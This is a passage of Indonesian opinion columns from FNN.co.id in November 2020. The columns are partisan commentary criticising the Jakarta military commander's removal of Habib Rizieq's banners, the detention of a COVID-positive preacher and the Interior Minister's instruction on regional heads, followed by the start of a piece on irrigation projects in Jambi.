populer. Kalau kalah malah bikin malu.” HRS dan Nikmir memang tidak selevel. Maqomnya jauh beda. Jadi tidak seharusnya saling berlaga. Untung ada Pangdam Jaya Untung saja Pangdam Jaya tiba-tiba datang. Dengan berbagai aksinya, membuat konstelasi berubah total. Pembicaraan dan mood public langsung berubah. Isu Nikmir langsung ke laut. Sebagian besar mungkin malah sudah lupa. Jadilah perbincangan di media sosial, berubah total 180 derajat! Opini, artikel, dan terlebih lagi meme bertebaran di media sosial. Mulai dari yang sangat serius, khawatir kembalinya Dwifungsi TNI, sampai hal-hal konyol menertawakan perilaku, tindakan, dan ucapan Pangdam.HRS dan FPI kembali berada di atas angin. Ibarat pertandingan tinju mendapat second win. Dari semula nyaris dipukul KO, berubah menjadi menekan dan memenangkan perebutan opini publik. Memerintahkan prajurit mencopoti baliho HRS, apalagi dikawal dengan kendaraan tempur, memang sangat berlebihan. Melewati batas. Bukan merupakan tugas pokok dan fungsi TNi sebagai alat pertahanan negara. Yang lebih mengagetkan Pangdam Jaya sampai bicara “kalau perlu FPI dibubarkan!” Pangdam sebagaimana dikatakan anggota DPR RI dari Gerindra Fadlizon sudah offside. Bahkan melakukan pelanggaran berat, karena sudah masuk ke ranah politik. Karena itu layak dicopot! Sebuah sikap yang selama dua dasa warsa terakhir benar-benar dijaga oleh TNI. Wajar kalau banyak senior purnawirawan tinggi TNI uring-uringan. Politisi, para pengamat, dan aktivis koalisi masyarakat sipil yang belum tentu mendukung HRS, tiba-tiba bangkit bersatu. Isu kembalinya TNI ke panggung politik, day today politics, benar-benar menjadi tabu besar ( big taboo ) dalam sebuah negara demokrasi. Sikap dan wacana yang dilontarkan Pangdam Jaya ini secara politik, juga sangat merugikan citra politik Presiden Jokowi. Sebelum Pangdam beraksi, pengamat internasional banyak yang khawatir dengan kecenderungan pemerintahan Jokowi berubah menjadi otoritarian. Tanda-tandanya sangat banyak. Sekarang ditambah lagi dengan aksi Pangdam Jaya. Tak perlu kaget bila istana melalui juru bicara KSP Donny Gahrial Adian segera turun tangan. Bikin clear suasana. Presiden, kata Donny, tidak pernah memerintahkan pembubaran FPI. Nah kalau begitu atas perintah siapa?Frasa “Menang ora kondang, kalah malah dadi wirang,” kini berlaku juga untuk Pangdam Jaya Mayjen TNI Dudung Abdurachman. Mosok prajurit TNI dihadap-hadapkan dengan laskar FPI. Tidak level lah. Kasihan prajurit TNInya. So HRS dan FPI berterima kasih lah kepada Pangdam Jaya! Btw kelihatannya bukan hanya HRS dan FPI yang perlu berterima kasih. Polri juga harus sangat berterima kasih. Kini mereka tidak hanya sendirian berjuang menghadapi stigma negatif dari rakyat! Marhaban Bapak Pangdam Jaya Mayjen TNI Dudung Abdurachman. End Penulis, wartawan senior FNN.co.id

Pak Dudung, Yang Merusak Negara Ini Bukan Habib Rizieq Tapi Oligarkhi Cukong

by Asyari Usman Jakarta FNN - Sabtu (21/11). Pangdam Jakarta Raya Mayjen Dudung Abdurrachman mengultimatum FPI, dan tentunya juga Habib Rizieq Syihab (HRS). Agak ngilu tulang mendengar ucapan yang bernuansa keangkuhan dari lisan Pak Dudung. Beliau lebih-kurang mengatakan agar FPI jangan coba-coba mengganggu persatuan DKI. “Saya panglimanya. Saya akan hajar nanti,” kata Pak Dudung yang berdiri di podium. Di belakang jenderal berbintang dua ini berdiri ratusan personel TNI yang tentunya siap dikerahkan untuk merealisasikan ultimatum Panglima. Pak Dudung juga sangat ‘gentlemen’. Dia mengakui dengan tegas bahwa dialah yang memerintahkan pencopotan baliho HRS di salah satu kawasan yang tak jauh dari markas FPI di Petamburan, Jakarta Pusat. Dari rangkaian ‘ceramah’ Pak Dudung yang sedang viral itu, tidaklah keliru kalau orang menyebutnya sebagai pamer kesombongan. Atau unjuk keangkuhan. Cuma, pamer keangkuhan itu terasa tidak berimbang dengan kondisi HRS dan para anggota FPI. Habib Rizieq bukanlah siapa-siapa kalau dibandingkan dengan “hardware” (perangkat keras) yang dimiliki TNI. Jangankan sekadar menurunkan balihonya, Pak Dudung bahkan bisa membungkam Habib kapan saja. Sebab, Imam Besar FPI itu tidak punya pasukan perang seperti yang Pak Dudung miliki. Tetapi, Pak Dudung perlu buka-buka catatan tentang siapa yang merusak negara ini. Tentang siapa yang mengancam persatuan bangsa ini. Kalau Pak Dudung punya catatan yang akurat, Anda pasti akan menemukan bahwa yang merusak bangsa dan negara ini bukan HRS dengan FPI-nya. Yang menghancurkan negara ini adalah oligarki cukong. Gerombolan para pemodal bejat yang membeli siapa saja yang bersedia menjual kekusaan. Habib Rizieq tampil untuk melawan gerombolan yang merusak itu. Beliau juga hanya bisa berteriak-teriak dengan mikrofon. Tidak lebih. Habib tak memiliki lembaga penegak hukum. Dia cuma bisa berorasi untuk membangkitkan semangat para pejuang keadilan. Semangat untuk mencegah kerusakan yang lebih parah akibat ulah para cukong itu. Jadi, Habib Rizieq dan para relawannya yang tersebar di seluruh Indonesia itu berjuang untuk menegakkan keadilan bagi seluruh rakyat tanpa kecuali. Mereka bukan berjuang untuk memperkaya diri. Bukan pula untuk menang sendiri. Pun bukan untuk menunjukkan ‘benar sendiri’ seperti yang Pak Dudung katakan. Puluhan tahun mereka tekuni perjuangan itu. Di sana-sini tentulah ada berbagai kekeliruan kecil yang terjadi. Yang bisa dihadapi secara profesional dan proporsional. Jika Pak Dudung menganggap HRS dan FPI sebagai musuh, bagaimana lagi Anda akan melihat para penjarah kekayaan rakyat di kasus-kasus seperti skandal BLBI, skandal Century, skandal Joko Tjandra, korupsi ratusan triliun di Jiwasyara, Pertamina, PLN, Sumber Waras, TransJakarta, dlsb? Belum lagi skandal perburuan tambang emas, batubara, nikel, dst. Jadi, Pak Dudung, jelaslah bahwa yang merusak negara ini bukan Habib Rizieq beserta FPI. Melainkan para cukong dan pemilik kekuasaan yang melacurkan diri mereka.[] (Penulis wartawan senior FNN.co.id)

Terpapar Covid-19, Ustadzah Kingkin Masih Mendekam di Rutan Bareskrim

by Mochamad Toha Jakarta FNN - Jumat (20/11). Kuasa Hukum Ustadzah Kingkin Anida dari Pusat Advokasi Hukum dan Hak Asasi Manusia (PAHAM) Indonesia Cabang DKI Jakarta mengungkapkan nasib kliennya yang hingga kini, 18 November 2020, masih ditahan di Rutan Bareskrim Polri. Padahal, berdasarkan informasi dari Ustadzah Kingkin Anida dan informasi dari keluarganya, bahwa pada 11 November 2020 telah dilakukan tes Swab di Rutan Bareskrim Polri, hasil tes menyatakan Ustadzah Kingkin Anida positif Covid-19. “Sejak dinyatakan positif Covid-19, Ustadzah Kingkin Anida masih tetap ditahan di Rutan Bareskrim Polri, tidak dibantarkan di Rumah Sakit oleh Penyidik,” kata Nurul Amalia, SH, MH dalam rilisnya. Berbeda halnya dengan tahanan lain yang sudah dibantarkan di RS Polri, termasuk tahanan yang berusia lebih muda dari Ustadzah Kingkin. Padahal, Ustadzah sudah berusia 54 tahun, memiliki hipertensi dan sering batuk-batuk dua minggu terakhir ini. Tim Kuasa Hukum Ustadzah Kingkin dan suaminya (Satria Hadi Lubis) sudah mengajukan surat permintaan pembantaran pada Senin, 16 November 2020 kepada Kapolri, Kabareskrim dan Direktur Tindak Pidana Siber (Brigjen Pol. Slamet Uliandi). “Ada dua surat yang sudah diajukan, yaitu atas nama Kuasa Hukum Ustadzah Kingkin Anida dan atas nama keluarga beserta surat pernyataan penjaminannya,” ungkap Nurul Amalia. Tapi, hingga Rabu, 18 November 2020, Ustadzah Kingkin masih belum dibantarkan juga ke Rumah Sakit. “Ini merupakan perlakuan tidak adil, melanggar HAM dan kemanusiaan. Kuasa Hukum dan suami Ustadzah Kingkin juga sudah menghubungi para penyidik agar segera dibantarkan, tapi belum ada respon positif dari penyidik. Ustadzah Kingkin sejak 4 November 2020 sudah mendaftarkan Permohonan Praperadilan, dan sidang Praperadilan perdana akan digelar pada Senin, 23 November 2020, di PN Jakarta Selatan, dengan perkara nomor: 136/Pid.Pra/2020/­PN.Jkt.Sel. Menurut Nurul Amalia, Ustadzah Kingkin beserta keluarganya melalui kuasa hukumnya, selalu berjuang dengan gigih untuk menegakkan keadilan dan HAM. Seluruh jalur hukum akan ditempuh menuntut keadilan dan melawan kesewenang-wenangan aparat penegak hukum itu, semata-mata demi menyelamatkan nyawa Ustadzah dari bahaya Covid-19 karena tidak dibantarkan ke Rumah Sakit dan demi menegakkan kebenaran formil serta materil. “Apabila Penyidik tidak juga membantarkan Ustadzah Kingkin, maka Polri telah melakukan pelanggaran HAM dan melanggar Protokol Kesehatan Covid-19,” tegas Nurul Amalia. Ia pun mengutip pernyataan Presiden Joko Widodo: “Saya ingin tegaskan bahwa keselamatan rakyat adalah hukum tertinggi”. Sebagaimana diberitakan, Ustadzah Kingkin ditangkap pada 10 Oktober 2020 pukul 13.30 WIB di Tangerang Selatan karena dianggap telah melanggar Undang-Undang Informasi dan Transaksi Elektronik (UU ITE) terkait Omnibus Law. Karopenmas Divisi Humas Polri Brigjen Polisi Awi Setiyono mengatakan, pendakwah Ustadzah Kingkin Anida ditetapkan sebagai tersangka setelah menjalani pemeriksaan selama 1x24 jam. “Kalau yang (ditangkap) di Tangsel ini sudah 1x24 jam diperiksa, sudah ditahan (berstatus tersangka),” kata Awi kepada wartawan, Selasa 13 Oktober 2020. Awi mengungkapkan bahwa para tersangka diancam dengan pasal 45 A ayat 2 UU RI Nomor 19 Tahun 2016 tentang ITE dan/atau Pasal 160 KUHP tentang Penghasutan. “Ancaman pidananya, yang UU ITE enam tahun pidana penjara dan penghasutan ancaman pidananya juga enam tahun penjara,” tutur Awi. Ustadzah Kingkin merupakan salah satu kader Partai Kesejahteraan Sosial (PKS). Ia pernah mencalonkan diri sebagai Caleg DPR RI dari Dapil Banten 3 pada Pemilu 2019. Ustadzah Kingkin juga diketahui sering menjadi pemateri tausiyah dalam berbagai pengajian. Ia disebut-sebut sebagai salah satu dari 8 petinggi Koalisi Aksi Menyelamatkan Indonesia (KAMI) ditangkap dan dijerat pasal UU ITE. Dari delapan petinggi tersebut, salah satunya berasal dari Kota Tangerang Selatan bernama Ustadzah Kingkin Anida. Ustadzh Kingkin adalah warga di salah satu komplek di Kelurahan Kademangan, Kecamatan Setu, Tangsel. Di komplek tersebut, ia dikenal sebagai Ustadzah yang bahkan sering mengisi pengajian di majelis ta'lim di daerah tersebut. Reaksi datang dari Wakil Ketua MPR Hidayat Nur Wahid yang menyebut Ustadzah Kingki Anida adalah korban hoaks. Hidayat juga menyebut Ustadzah Kingkin sebagai tokoh anti anarki dan sudah selayaknya dibebaskan. Seperti dilansir SeputarTangsel.com, Hidayat mengungkapkan hal tersebut, menanggapi unggahan Twitter dari akun @UusRsd yang mengomentari terkait penangkapan Ustadzah Kingkin Anida. Akun @UusRsd memposting ulang unggahan Divisi Humas Polri dalam akun Facebook-nya yang ternyata pernah memberikan apresiasi kepada Ustadzah Kingkin Anida atas aksinya yang mendukung demonstrasi yang sejuk dan damai. “Divisi Humas Mabes Polri melalui akun Facebook resminya ternyata pernah memberikan apresiasi kepada Ustadzah Kingkin Anida atas kontribusi beliau dalam mendukung demonstrasi sejuk dan damai,” tulis akun @UusRsd pukul 09.44, Sabtu 17 Oktober 2020. Dalam unggahan FB Divisi Humas Polri itu terlihat foto Ustadzah Kingkin memberikan bunga kepada para petugas Brimob yang menjaga demo damai pada 22 Mei 2019. “Ciptakan Demonstrasi Sejuk dan Damai. -Ramadan Untuk Perdamaian-. Potret seorang demonstran yang memberikan bunga kepada petugas kepolisian yang mengawal jalannya aksi demonstrasi di Depan Gedung Bawaslu, Jakarta Pusat,” tulis akun Divisi Humas Polri itu. Menanggapi cuitan @UusRsd tersebut, Hidayat Nur Wahid mengatakan, Ustadzah Kingkin itu pendukung demonstrasi yang sejuk dan damai. Bahkan, lanjut politisi PKS ini, Ustadzah Kinkin merupakan korban hoaks yang layak diayomi. “Maka sudah benar #BebaskanBuKinkin. Aktifis kemanusian yang trackrecordnya dukung demonstrasi yg sejuk dan damai. Beliau anti anarkhi. Bunga lambing damai dari beliau pernah diterima Polisi. Beliau korban hoax yg layak diayomi”. Begitu cuit Wakil Ketua MPR RI 2019-2024 ini melalui akun Twitter @hnurwahid, Sabtu 17 Oktober 2020. Berdasarkan hasil pemeriksaan Swab pada Rabu, 11 November 2020, di Rutan Bareskrim Polri, hasil tes menyatakan Ustadzah Kingkin Anida positif Covid-19. Menjadi tak manusiawi jika Bareskrim Polri tidak merujuk Ustadzah Kingkin ini dirawat di Rumah Sakit Rujukan Covid-19! Penulis, wartawan senior FNN.co.id

Maaf, Saya Malu Lihat Pangdam Jaya Urus Baliho

by Ubedilah Badrun Jakarta FNN – Jum’at (20/11). Ribut penurunan baliho Habib Rizieq Shihab (HRS) oleh TNI akhirnya diakui juga oleh Pangdam Jaya. Bahwa penurunan baliho HRS itu atas perintah Pangdam Jaya Mayjen TNI Dudung Abdurachman. Saya mencari data sebentar apa penyebabnya? Apakah ada kemungkinan karena pernyataan HRS yang menyinggung soal sanksi terhadap prajurit TNI yang mengekspresikan dirinya menyambut kembalinya HRS ke Tanah Air? Tersinggung itu wajar. Karena narasi HRS kadang memang kebablasan. Mungkin juga karena HRS tidak bisa menutupi kekecewaanya pada keputusan institusi TNI. Di sisi lain saya kira HRS perlu diingatkan juga agar narasinya termanage dengan baik. Meski demikian, saya kira hak HRS untuk berpendapat tidak boleh juga dibungkam. Adapun Pangdam Jaya sebenarnya punya cara untuk menegur HRS. Bisa dilakukan dengan pendekatan yang lebih dialogis. Dalam terminologi sosiologi, pendekatan dialogis dalam menyelesaikan suatu problem sosial dan lain-lain adalah cara yang paling rasional. Bukan dengan pendekatan kekuasaan. Sebab dalam sejarahnya, pendekatan kekuasaan tidak juga bisa menyelesaikan masalah. Tetapi entah kenapa langkah Pangdam Jaya ini justru memicu keributan baru. Bahkan kini membentuk opini baru dengan ekspresif memerintahkan prajuritnya untuk menurunkan baliho HRS. Ada yang merekamnya dan tersebar di media sosial. Tentu ini memicu reaksi baru dari para pengikut HRS dan menimbulkan kegaduhan politik baru. Saya coba cermati langkah dan perintah Pangdam Jaya ini dalam perspektif ketentaraan. Tampaknya ini baru yang pertama kali terjadi dalam sejarah TNI. Sebuah institusi penting negara sekelas TNI, perlu berurusan soal baliho di jalanan. Jika melihat TNI, saya kira kita mesti melihat regulasinya. Aturan mainnya bagaiman? Terus Undang-Undang yang mengaturnya bagaimana? Nah menurut Undang-Undang Nomor 34 Tahun 2004 Tentang TNI, khususnya pada pasal 7 ayat (1), tugas pokok TNI adalah menegakkan kedaulatan negara. Masih di pasal yang sama, tugas TNI lainnya adalah mempertahankan keutuhan wilayah Negara Kesatuan Republik Indonesia yang berdasarkan Pancasila dan Undang-Undang Dasar Republik Indonesia Tahun 1945, serta melindungi segenap bangsa dan seluruh tumpah darah Indonesia dari ancaman dan gangguan terhadap keutuhan bangsa dan negara. Saya mencermati, Pangdam Jaya terlalu menurunkan marwah TNI, jika TNI hanya berurusan soal Baliho. Bukankah penertiban baliho itu menjadi urusannya Satpol Pamong Praja (PP) daerah setempat? Mestinya jika Pangdam Jaya merasa tersinggung dengan narasi HRS, dan dengan Baliho HRS, bukankah Pangdam Jaya bisa bicara atau berkomunikasi dengan Gubernur DKI untuk memerintahkan satpol PP. Dalam konteks itulah, saya sebagai akademisi yang di antaranya fokus pada studi tentang dinamika sosial, gerakan masyarakat sipil, dan soal kebangsaan malu melihatnya. TNI gaduh hanya karena berurusan dengan baliho. Penulis adalah Akademisi Universitas Negeri Jakarta (UNJ).

Mendagri Tito Menteror Kepala Daerah

by M Rizal Fadillah Bandung FNN – Jum’at (20/11). Kepulangan Habib Rizieq Shihab (HRS) sangat fenomenal. Peristiwa ini telah menyentak dan menggetarkan kekuasaan. Berdampak pada rencana pemeriksaan HRS, tokoh-tokoh yang hadir di pernikahan, serta pemanggilan Gubernur DKI Jakarta Anies Baswedan. Tuduhannya ialah pelanggaran terhadap protokol kesehatan. Dasarnya UU Kekarantinaan Kesehatan. Sanksi pidana pun diancamkan. Padahal dari awal pandemi corona bulan Maret 2020, pemerintah sangat alergi untuk memberlakukan UU Kekarantinaan Kesehatan. Bahkan pemerintah menolak untuk berlakukan lockdown sesuai permintaan Gubernur Anies. Anies diperiksa Polda Metro Jaya selama sepuluh jam. Bahasa panggilan adalah klarifikasi. Tetapi dengan "sepuluh jam" waktu yang diperlukan untuk melakukan klarifikasi, maka konklusinya sangat jelas dan terang sebagai "pemeriksaan". Karena di depan penyidik, Anies menandatangani semacam Berita Acara. Pakar melihat bahwa Pasal 93 UU No. 6 Tahun 2018 tentang Kekarantinaan Kesehatan yang digunakan polisi untuk menyerang Gubernur Anies merupakan suatu penyimpangan. Sebab kerumunan orang banyak di suatu tempat tidak bisa dijadilan alasan untuk dihukum secara pidana di tengah kebijakan Pembatasan Sosial Berskala Besar (PSBB). Karenanya upaya memanggil Anies oleh Kepolisian Metro Jaya dinilai sangat mengada-ada. Mencari-cari alasan semata. Hasilnya kemungkinan akan gagal. Sebab ketakutan penguasa kepada popularitas Anies sebagaimana ketakutan pada HRS sangat terasa. Pencopotan Anies nampaknya menjadi agenda. Alasan apapun harus dicari-cari pembenarannya. Tiba tiba saja Mendagri Tito Karnavian yang mantan Kapolri membuat Instruksi No 6 tahun 2020, yang berisi 6 butir berkaitan dengan kerumunan dan covid 19. Yang dinilai "paling mengarah" adalah butir 3, dimana Kepala Daerah dilarang untuk ikut kerumunan yang berpotensi melanggar protokol kesehatan. Demikian pula pada butir 4, yang menegaskan berdasarkan UU No 23 tahun 2014 tentang Pemerintahan Daerah. Bahwa Kepala Daerah harus mengikuti seluruh ketentuan perundang-undangan. Butir 5 menyatakan Kepala Daerah yang melanggar Undang-Undang dapat diberhentikan. Bahwa Kepala Daerah yang melanggar UU dapat diberhentikan merupakan hal yang sangat normatif. Persoalannya adalah bahwa cara memberhentikan harus dilakukan menurut UU pula. Bukan dengan interpretasi Presiden. Apalagi cuma Mendagri. Memangnya Mendagri mau mengambil alih kewenangan DPRD dan Mahkamah Agung tentang tata cara pemberhentian kepala daerah yang diatur dalam UU Nomor 23/2014? Pemanggilan oleh Kepolisian Metro Jaya kepada Gubernur DKI Anies Baswedan, yang dilanjutkan dengan terbitnya Instruksi Mendagri, yang mengancam pemberhentian kepala daerah sangat mengesankan bahwa instruksi ini merupakan teror bagi para Kepala Daerah. Mendagri menteror para kepala daerah yang tidak disukai oleh penguasa sekarang. Kepala Daerah itu dipilih oleh rakyat. Karenanya tidak bisa diberhentikan oleh Presiden. Apalagi Cuma kelas Mendagri. Proses yang harus ditempuh harus melalui wakil rakyat di lembaga DPRD, baik itu yang didahului dengan Putusan Pengadilan atau tidak. Mendagri seolah-olah hendak mengambil oper kewenangan DPRD dan Mahkamah Agung saja. Seluruh Gubernur dan Bupati/Walikota seluruh Indonesia terancam oleh penyimpangan kewenangan Mendagri ini. Selayaknya seluruh Kepala Daerah melakukan protes keras. Terkesan bahwa Mendagri adalah pejabat suci yang bisa seenaknya menghukum berdasarkan tafsir sendiri "melanggar UU". Instruksi Mendagri No 6 tahun 2020 harus dicabut atau diadukan ke Mahkamah Agung untuk diuji materil. Instruksi ini bentuk lain dari manipulatif. Seolah-olah menegakkan UU. padahal sebenarnya adalah melanggar UU. Ngawur dan ngaco bangat Mendagri Tito. Di negara demokrasi yang berkedaulatan hukum, tidak boleh ada kebijakan politik yang memperalat hukum. Jika ada pejabat yang melakukan demikian dengan maksud teror kepada pihak lain, maka pejabat tersebut pantas untuk disebut sebagai teroris. Dan kita telah sepakat bahwa segala bentuk terorisme haruslah dibasmi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Mendagri Tito Ambil Wewenang DPRD & Mahkamah Agung?

by Tony Rosyid Jakarta FNN – Jum’at (20/10). Masa pandemi corona memberi ruang pemerintahdan DPR untuk membuat UU kontroversial. Perppu Corona (No 1/2020) yang diperkuat men jadi UU No 2/2020 telah memberi kebebasan untuk menggunakan anggaran Rp 905 triliun tanpa bisa dituntut secara pidana, perdata dan TUN. Huebat kan! Selain UU Corona, lahir pula UU Minerba. Lagi-lagi, UU ini kontroversial. Sebab, sejumlah pasal dianggap berpotensi merugikan rakyat. Misalnya, terkait kewenangan membuka lahan tambang dengan cara membakar hutan. Selama ini, masyarakat di sekitar hutan banyak direpotkan oleh kebakaran lahan. Sekarang, UU Minerba justru membolehkannya. Kacau-balau kan? Sempat juga RUU Haluan Ideologi Pancasila (HIP) akan disahkan. RUU yang dicurigai berhaluan komunis ini akhirnya ditunda setelah mendapat penolakan masif, terutama dari MUI dan ratusan ormas-ormas Islam. Meski tetap ada ruang untuk dibahas kembali dan disahkan di kemudian hari. Sebab, RUU ini belum dicabut dari Prolegnas Prioritas DPR. Yang terkini adalah UU Omnibus Law Cipta Kerja. Meski dianggap cacat formil dan materiil, tetap saja disahkan. Presiden pun menandatangani, meski draft UU itu masih bermasalah. Ini bukan saja telah memperlihakan tata kelola negara kacau-balau. Tetapi juga amburadul. Mengapa sejumlah UU tersebut kontroversial? Terutama karena kelahirannya tidak melibatkan rakyat dalam proses pembahasan. Terkait masalah ini, pandemi corona selalu dijadikan alasan. Pembahasan dipercepat. Nampak kerja yang super kilat. Lalu disahkan dengan tergesa-gesa. Bahkan banyak anggota fraksi yang belum sempat membaca. Semoga Pak Presiden sudah baca sebelum beliau tanda tangan. Segala bentuk protes yang melibatkan massa dilarang. Setidaknya dihalang-halangi dan dihambat karena alasan pandemi corona. Melanggar protokol kesehatan, katanya. Klise dan mengada-ada saja. Karena penghadangan massa juga sering terjadi sebelum pandemi. Akhir-akhir ini, PSBB diperketat. Kapolri bahkan memberhentikan dua Kapolda, yaitu Kapolda Metro Jaya dan Kapolda Jawa Barat. Juga dua Kapolres, yaitu Kapolres Jakarta Pusat dan Kapolres Bogor. Mereka dianggap tidak tegas terhadap adanya kerumunan. Kerumunan siapa? Masyarakat tahu jawabannya. Mendagri Tito Karnavian juga memberi instruksi bahkan mengancam akan memecat kepala daerah yang membiarkan terjadinya kerumunan di wilayahnya. Publik bertanya, mengapa mendadak semua pejabat bicara PSBB diperketat? Bukannya selama ini program "New Normal" yang dielu-elukan dan dipercaya sebagai malaikat penolong? Anehnya, kepala daerah yang berupaya untuk menerapkan PSBB dengan ketat, malah dikritik dan diberi peringatan. Dianggap sok-sokan. Dituduh menghambat pertumbuhan ekonomi yang sedang berupaya dinormalkan. Mengapa sekarang berbalik? Ada apa Pak Tito? Pemerintah ko pagi tempe, sore dele? Anies Baswedan, Gubernur DKI yang dari awal konsen untuk usulkan karantina wilayah dan PSBB ketat, justru selalu menghadapi penolakan. Sekarang, ketika kerumunan terjadi dimana-mana, Anies justru dipanggil Polda Metro Jaya karena dicurigai membiarkan kerumunan. Tidak saja panggilan Polda, bahkan Mendagri menyinggung soal pemecatan. Ngeri bangat! Mendagri pun akhirnya mengeluarkan instruksi Nomor 6 Tahun 2020 mengenai kewajiban kepala daerah menerapkan protokol kesehatan. Apakah instruksi ini bisa dijadikan dasar pencopotan kepala daerah? Tentu tidak Pak Tito! Urusan copot kepala daerah tetap mengacu pada UU No 23 Tahun 2014. Bukan urusannya Mendagri Pak Tito. Itu urusannya DPRD dan Mahkamah Agung. Memangngnya Mendagri Pak Tito mau ambil alih juga kewenangan DPRD dan Mahkamah Agung? Sebaiknya Mendagri Tito baca lagi berulang-ulang UU Nomor 23/2014 tersebut. Kelihatannya kalau Mendagri Tito tidak memahami ruhnya UU Nomor 23/2014. Sebab di UU itu, kepala daerah dipilih oleh rakyat. Hanya rakyat yang bisa mencabut mandatnya. Bukan presiden. Apalagi cuma Mendagri. Rakyatlah, melalui perwakilan di DPRD, yang bisa memberhentikan bupati, walikota dan gubernur. Itu pun dengan catatan DPRD harus punya cukup alasan jika ingin melakukan impeachmen terhadap kepala daerah. Sebab alasan DPRD itupun akan diuji di Mahkamah Agung (MA). Sampai di Mahkamag Agung inilah, kepala daerah diberi hak untuk melakukan pembelaan. Prosesnya panjang bangat. Bisa lebih dari setahun. Ayo... Pusing nggak? Tapi kalau Mendagri Tito mau coba, ya silahkan saja. Pada akhirnya rakyat yang akan menilai dan mencatat demokrasi model apa yang sedang dipahami Mendagri Tito Karnavian. Presiden hanya bisa memberhentikan "sementara" kepala daerah kalau ada usulan dari DPRD dalam hal kepala daerah menjadi terdakwa dengan ancaman pidana minimal lima tahun. Terjerat kasus korupsi, terorisme atau makar misalnya. Namun, jika tak terbukti di pengadilan, presiden wajib mencabut SK pemberhentiannya itu. Jadi, nggak bisa pakai instruksi Mentdagri aja untuk ancam kepala daerah. Publik membaca, semua ini hanya akibat dari satu sebab. Apa itu? Kepulangan Habib Rizieq Shihab (HRS). Habib Rizieq dikhawatirkan akan terus melakukan konsolidasi massa. Ini sungguh terkesan sangat politis. Tapi pendekatannya seringkali menggunakan pasal-pasal dalam hukum pidana. Karena, pendekatan hukum ini terbukti memang sangat ampuh dan efektif. Fokusnya pada Habib Rizieq. Kerumunan apapun, asal tidak terkait Habib Rizieq, selama ini bebas- dan aman-aman saja. Tidak memiliki konsekuensi hukum apa-apa. Parade Merah Putih di Banyumas, Ulang Tahun Ulama di Pekalongan, rombongan ke KPUD di Solo, pengajian dan walimahan di berbagai tempat, selama ini bisa bejalan dengan bebas. Giliran Habib Rizieq Shihab pulang, dan dijempu oleh ratusan ribu orang, mulailah segala bentuk perlu diberlakukan. Bahkan sangat ketat. Marah sana marah sini. Semua yang terlibat dengan kerumunan massa di sekitar Habib Rizieq menjadi was-was. Begitulah publik memotret situasi sekarang ini. Selama ini, dengan dalih protokol kesehatan dan aturan PSBB, pemerintah punya alasan kendalikan pengerahan massa. Kalau sifatnya hanya untuk menghindari kerumunan, ini baik dan memang harus dilakukan. Dengan catatan, pertama, ini harus berlaku untuk semua. Tanpa kecuali. Tidak tebang pilih. Mesti adil. Namun, jika ini hanya berlaku untuk mereka yang kontra dan kritis terhadap pemerintah, itu sama saja pembunuhan demokrasi. Kedua, kewajiban menjalani protokol kesehatan tidak lantas boleh dimanfaatkan pemerintah, atau juga DPR untuk membuat aturan dan kebijakan tanpa melibatkan aspirasi rakyat. Alasan bahwa rakyat nggak boleh berkumpul karena pandemi, tetapi banyak kebijakan yang dibuat tanpa memperhatikan aspirasi dan kepentingan rakyat, itu sama saja pembunuhan demokrasi dalam bentuk lain. Nampaknya, rakyat telah merasakan mati surinya demokrasi selama ini. Apalagi jika setiap aspirasi yang muncul harus berhadapan dengan ancaman pidana. Makin menakutkan saja. Sayangnya, tekanan tidak membuat rakyat tidak semakin takut. Jangan sampai hukum yang semestinya dibuat untuk melindungi negara dan rakyat justru berubah fungsi jadi musuh demokrasi. Hal ini mesti segera dievaluasi. Jangan gara-gara pandemi, demokrasi mati, dan pemerintah membuat kebijakan semau hati. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Sosio-Engineering Menuju Jambi Kota Bisnis

by Luthfi Pattimura Jambi FNN – Jum’at (20/11). Jambi bukanlah suatu daerah yang baru, atau jauh. Dibentuk sebagai Provinsi Jambi pada tanggal 6 Januari 1956. Sebagaimana daerah lain di Indonesia, hambatan perkembangannya juga datang dan pergi tanpa peringatan. Diantara hambatan dimaksud, ada ramuan kecemasan yang mudah dikenal tatkala kita berada di Jambi. Asap kebakaran hutan misalnya, sering keluar masuk rumah-rumah hingga gedung perkantoran sepanjang Kota Jambi. Juga, banjir di setiap musim hujan. Tulisan ini bukan untuk merinci ongkos lingkungan akibat ramuan kecemasan tersebut. Apalagi untuk merinci Jakarta yang sudah tak lagi memanusiakan orang. Kegemukan Jakarta yang sudah musti dikurangi, sehingga pemindahan ibu kota negara bukan sekedar wacana. Seperti daerah lain dengan pusat-pusat kegiatan yang penting, di era industri dan perdagangan yang makin kompetitif, tulisan ini mengakui, bahwa menggerakkan arus orang dan barang bagi pertumbuhan daerah Jambi juga penting. Begitu Pula upaya untuk menggerakkan pertumbuhan ekonomi di Jambi. Tidak semuanya bergantung pada pergerakan arus orang dan barang. Karena ketahanan air dan pangan nasional menjadi fokus sorotan, maka pembangunan bendungan dan embung di Jambi ikut pula menjadi fokus sorotan. Infrastruktur Air Manjakan Petani Jambi Seperti diketahui, potensi air di Indonesia sebesar 2,7 triliun meter kubik per tahun. Potensi ini cukup tinggi. Dari volume tersebut, air yang bisa dimanfaatkan sebesar 691 miliar meter kubik per tahun. Namun masih sekitar 222 miliar meter kubik per tahun yang dimanfaatkan untuk berbagai keperluan. “Dengan potensi itu, keberadaannya tidak sesuai dengan ruang dan waktu. Sehingga kita membutuhkan tampungan-tampungan air baru,” kata Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) M. Basuki Hadimuljono. Tujuan jangka panjang dari pembangunan bendungan dan embung/setu yang tidak disangsikan lagi adalah agar air bisa ditampung pada musim hujan. Lalu dimanfaatkan pada musim kemarau. Jatuhnya, akses air ke pemberdayaan potensinya adalah tiket ke ketahanan air dan pangan nasional. Kita tak boleh mengabaikan tiket ke sana itu. Tiket itu sedang dan akan melewati Jambi. Direktorat Jenderal (Ditjen SDA) Kementerian PUPR memang selalu konsisten. Melalui Balai Wilayah Sungai Sumatera (BWSS) VI Provinsi Jambi, yang konsistensi segera setelah para petani musti sejahtera. Pastilah itu. Karena manfaat dari pembangunan bendung, bendungan hingga embung. Dari normalisasi jaringan rawa, hingga sistem pengendali muka air di pintu sungai. Satu lagi, wisata danau, seperti yang kami lihat di sana. Lihat saja pembangunan irigasi sawah Daerah Irigasi (DI) Siulak Deras-Kerinci seluas 5.819 hektar, pembangunan irigasi DI Batang Sangkir seluas 4.169 hektar yang sudah fungsional, kemudian Bendung Batang Asai dan Jaringan Irigasi DI Batang Asai. Juga, pembangunan Embung Desa Bukit dan Embung Danau Pauh-Sarolangun. Yang lain adalah mengamankan 4.000 